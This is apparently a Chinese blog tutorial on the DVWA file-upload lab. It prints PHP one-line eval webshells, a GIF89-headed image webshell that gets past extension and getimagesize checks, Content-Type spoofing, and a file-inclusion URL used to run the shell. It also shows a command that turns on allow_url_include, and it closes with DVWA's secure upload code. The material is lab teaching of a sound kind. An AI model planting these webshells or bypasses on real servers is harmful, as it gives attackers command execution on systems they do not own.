任意文件上传漏洞实战和防范

文件上传漏洞广泛存在于Web1.0时代,恶意攻击者的主要攻击手法是将可执行脚本(WebShell)上传至目标服务器,以达到控制目标服务器的目的。

此漏洞成立的前提条件至少有下面两个:

1.可以上传对应的脚本文件,并且被服务器解析,比如php上传为.php,Java则上传jar包等

2.上传文件之后,攻击者知道文件的地址,也就是说可以从浏览器地址栏访问到文件。

我使用本地的dvwa靶场进行实战。

1. 防护级别为低(low)

书写脚本文件1.php,:

<?php phpinfo();
?>

进入文件上传模块:

点击上传,上传成功,并且可以看到上传的地址,这里满足了条件1:

在浏览器中拼接相关地址,http://localhost:5555/vulnerabilities/upload/#/../../hackable/uploads/1.phphttp://localhost:5555/hackable/uploads/1.phphttp://localhost:5555/vulnerabilities/upload/#/../../hackable/uploads/1.php:

发现成功输出了文件信息,这里满足了条件2。

如果在平时的渗透测试中,到这一步已经证明了漏洞存在。但是我为了增强实战能力,编写了对应的可执行脚本如下,这段代码很简单,从post请求中获取cmd参数,并且执行。这被称为一句话木马,相信大家知道了,通过向http://localhost:5555/hackable/uploads/1.php发出post请求,即可执行任意命令,也就是说等于拿到了服务器权限。

记得重新上传这个可执行脚本:

<?php eval($POST['cmd']);
?>

一键使用此木马的工具以前有中国菜刀,现在有中国蚁剑(antsword)。我使用最新的antsword。

但是如下图发现返回数据为空,猜测是php版本为7导致的,所以我需要修改一下一句话木马。

我修改为如下的代码,希望可以运行成功,但是居然报了这么多的错误,

<?php $pst = $POST['cmd'];eval(pst);
?>

继续排查原因,原来是第一行的分号写错了。

可执行的代码如下:

<?php $pst = $_POST['hacker'];@eval($pst);
?>

右下角提示连接成功: 

点击添加即可使用,右键可以查看支持的功能。

打开虚拟终端,已经拿下了服务器权限:

 

2.防护等级为中(medium)

点击查看源代码,发现其通过type来判断,于是可以使用burp修改发送的数据包来实现改变。

修改content type为imag/png

 

上传成功:

3.防护等级为高(High)

查看源代码,发现其使用后缀名判断

 

看到其对后缀名做了限制(jpg、jpeg、png),并且使用getimagesize函数确定文件头为图片。

所以我们在文件头加上图片头标识

GIF89
<?php $p = $_POST['cmd'];@eval($p);
?>

重命名为2.jpg,上传成功:

但是这是jpg文件,无法被服务器执行,所以我们使用前面的文件包含漏洞来执行:

但是我的文件包含没打开,即allow_url_include = Off。

使用以下命令打开,我的行数为824,如果不知道你的就cat来确定。

docker exec -it [容器id]  /bin/bash # 进入容器
cd /etc/php/7.0
sed -i '824s/.*/allow_url_include = On/' php.ini
docker restart [容器id] # 重启容器

然后再次尝试上传文件成功,在地址栏打开,注意我修改了端口号。http://127.0.0.1/vulnerabilities/fi/?page=file:///var/www/html/hackable/uploads/2.jpg

但是使用蚁剑无法连接,不知道为什么,于是我又去做了一个图片马。

还是连接失败,虽然文件上传成功了。

搞了很久才成功

使用记事本打开jpg,在后面加上代码:

到这里低中高危难度都通过了。

我们来看看不可能出现漏洞的代码,可以看到其不仅判断了文件类型,还将文件名使用md5的方式进行了加密,就算上传可执行文件成功,攻击者也无法知道具体的文件名。还对文件内容做了限制,并且加上了CSRF验证。

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];// Where are we going to be writing to?$target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';//$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;$temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );$temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;// Is it an image?if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&( $uploaded_size < 100000 ) &&( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&getimagesize( $uploaded_tmp ) ) {// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)if( $uploaded_type == 'image/jpeg' ) {$img = imagecreatefromjpeg( $uploaded_tmp );imagejpeg( $img, $temp_file, 100);}else {$img = imagecreatefrompng( $uploaded_tmp );imagepng( $img, $temp_file, 9);}imagedestroy( $img );// Can we move the file to the web root from the temp folder?if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {// Yes!echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";}else {// Noecho '<pre>Your image was not uploaded.</pre>';}// Delete any temp filesif( file_exists( $temp_file ) )unlink( $temp_file );}else {// Invalid fileecho '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}// Generate Anti-CSRF token
generateSessionToken();?>

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/197199.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

第一个小记录达成:第一个年费会员用户

早上看到&#xff0c;欸&#xff0c;有个用户好像充了 9.9 元&#xff0c;挺开心&#xff0c;刚刚看飞书消息&#xff0c;看到了这条分享给朋友&#xff0c;等等&#xff0c;是充值了 99 元&#xff0c;有个用户充了年费&#xff0c;偶买噶&#xff0c;开心 &#x1fae1; 这是…

华为OD机试 - 仿LISP运算 - 逻辑分析(Java 2023 B卷 200分)

目录 专栏导读一、题目描述二、输入描述三、输出描述四、解题思路五、Java算法源码六、效果展示1、输入2、输出3、说明 华为OD机试 2023B卷题库疯狂收录中&#xff0c;刷题点这里 专栏导读 本专栏收录于《华为OD机试&#xff08;JAVA&#xff09;真题&#xff08;A卷B卷&#…

hql面试题之上海某资深数仓开发工程师面试题-求不连续月份的月平均值

1.题目 A,B两组产品的月平均值&#xff0c;月平均值是当月的前三个月值的一个平均值&#xff0c;注意月份是不连续的&#xff0c;如果当月的前面的月份不存在&#xff0c;则为0。如A组2023-04的月平均值为2023年1月的数据加2023-02月的数据的平均值&#xff0c;因为没有其他月…

股票代码合法验证:python字符串str应用

从键盘输入六位股票代码字符串&#xff0c;判定合法并输出板块分类&#xff0c;否则输出“NO”。 (笔记模板由python脚本于2023年12月04日 19:19:07创建&#xff0c;本篇笔记适合熟悉python字符串和字典的coder翻阅) 【学习的细节是欢悦的历程】 Python 官网&#xff1a;https:…

MySQL安装,建立,导入本地Txt文件

MySQL安装教程参照如下&#xff1a; Windows下MySQL的安装及初始化设置 - 简书 MySQL修改数据默认存储路径 MySQL修改数据默认存储路径_show global variables like %datadir%-CSDN博客 建立数据库 C:\>mysql -u testsql -p mysql> create database mysqldb; mysq…

Oracle 中换行chr(10)、回车chr(13)

一、前言 chr(n)&#xff1a;返回 ascii 值对应的字符。 ascii(char)&#xff1a;返回字符 char对应的ascii 值。 chr(n) 和 ascii(char) 作用刚好是相反的。 SQL> select chr(65) from dual; 控制台显示&#xff1a;ASQL> select ascii(A) from dual; 控制台显示&am…

API资源对象Deployment;API资源对象Service;API资源对象DaemonSet;API资源对象StatefulSet

API资源对象Deployment&#xff1b;API资源对象Service&#xff1b;API资源对象DaemonSet&#xff1b;API资源对象StatefulSet API资源对象Deployment Deployment YAML示例&#xff1a; vi ng-deploy.yaml apiVersion: apps/v1 kind: Deployment metadata:labels:app: myng…

Spring Cloud + Vue前后端分离-在线课程介绍

第2章 使用Maven搭建SpringCloud项目 第3章 SpringBoot项目技术整合 第4章 使用Vue cli 4搭建管理控台 第5章 单表管理功能前后端开发 第6章 通用代码生成器开发 第7章 核心业务功能开发 第8章 文件上传功能开发 第9章 大文件断点续与极速秒传 第10章 基于阿里云OSS的文…

前端面试题(面试碰到的一些)(一)

1、浏览器的存储方式都有哪些? cookie: 优点——兼容性好&#xff0c;请求头自带cookie方便 。缺点——大小只有4k, 请求头加入 cookie 浪费流量&#xff08;多用于记录登录状态&#xff09; localStorage: 优点—— 操作方便&#xff0c;永久性存储&#xff…

JIRA 重建索引加快速度

JIRA 重建索引加快速度 JIRA数据量大时&#xff0c;做一遍reindex的速度会很慢&#xff0c;经常需要几个小时 这是后需要查看CPU&#xff0c;如果做reindex时候CPU占用率不高&#xff0c;增加 index的线程数以加快 reindex 配置步骤 停止掉JIRA在home目录下的 jira-config.…

漫谈HBuilderX App-Jenkins热更新构建

漫谈Uniapp App热更新包-Jenkins CI/CD打包工具链的搭建 零、写在前面 HBuilderX是DCloud旗下的IDE产品&#xff0c;目前只提供了Windows和Mac版本使用。本项目组在开发阶段经常需要向测试环境提交热更新包&#xff0c;使用Jenkins进行CD是非常有必要的一步。尽管HBuilderX提…

python pyaudio给数据加噪声

python pyaudio给数据加噪声 # -*- coding: utf-8 -*- import argparse import array import math import numpy import numpy as np import random import wavedef get_args():parser argparse.ArgumentParser()parser.add_argument("--clean_file", typestr, req…

cordova详解

从八个方面让你快速了解cordova&#xff08;一&#xff09; - 掘金 从八个方面让你快速了解cordova&#xff08;二&#xff09; - 掘金 Cordova和React-Native两种框架的区别和优劣分析_cordova和react native-CSDN博客 Cordova开发App的优缺点是什么&#xff1f; - 咕噜企业…

开源CDN软件GoEdge —— 筑梦之路

官方网站&#xff1a;GoEdge CDN - 制作自己的CDN - GoEdge CDN | 自建CDN GoEdge是一款管理分布式CDN边缘节点的开源工具软件&#xff0c;目的是让用户轻松地、低成本地创建CDN/WAF等应用。 特性 免费 - 开源、免费、自由、开放 简单 - 架构简单清晰&#xff0c;安装简单&a…

Android,JNI开发和NDK之间的联系

Android&#xff0c;JNI开发和NDK。 1.jni和ndk jni是在jdk中就有出现的 在我们jdk路径中 D:\java\jdk11\include 这就是jdk中的jni Android开发环境中的ndk也有jni&#xff0c; D:\Android\sdk\ndk\20.0.5594570\toolchains\llvm\prebuilt\windows-x86_64\sysroot\usr\in…

DICE模型原理

随着温室气体排放量的增大和温室效应的增强&#xff0c;全球气候变化问题受到日益的关注。我国政府庄严承诺在2030和2060年分别达到“碳达峰”和“碳中和”&#xff0c;因此气候变化和碳排放已经成为科研人员重点关心的问题之一。气候变化问题不仅仅是科学的问题&#xff0c;同…

Django二转Day06

1.多表查询 基于对象 基于双下划线 正向和反向 聚合查询 分组查询&#xff08;配合聚合使用&#xff09; F查询和Q查询 2.其他字段和字段参数 其他字段 字段参数&#xff1b;ORM参数 ForeignKey 属性 ManyToManyField 用于表示多对多的关联关系。在数据库中通过第三…

解决msvcp140.dll丢失问题的5种方法,验证有效

在计算机编程和软件开发中&#xff0c;我们经常会遇到一些陌生的DLL文件&#xff0c;比如msvcp140.dll。这些DLL文件是动态链接库&#xff08;Dynamic Link Libraries&#xff09;的缩写&#xff0c;它们包含了可以被多个程序共享的代码和数据。那么&#xff0c;msvcp140.dll是…

优思学院|六西格玛中的过程管理思维

过程是什么&#xff1f; 过程&#xff08;Process&#xff09;是一系列相互关联的活动&#xff0c;将输入转化为输出&#xff0c;我们习惯于用 X 来表示输入&#xff0c;用 Y 来表示输出&#xff0c;就如下图一样。在产品&#xff08;服务&#xff09;质量形成过程中&#xff…

【ArcGIS Pro微课1000例】0048:深度学习--人群计数

文章目录 一、小学回忆录二、深度学习计算人头数三、案例实现一、小学回忆录 加载配套实验数据包中的图片及训练模型。你还记得当年的小学毕业班有多少同学吗?今天我们就用ArcGIS提供的人工智能工具,重温一下童年记忆。 二、深度学习计算人头数 本案例使用到的是深度学习中…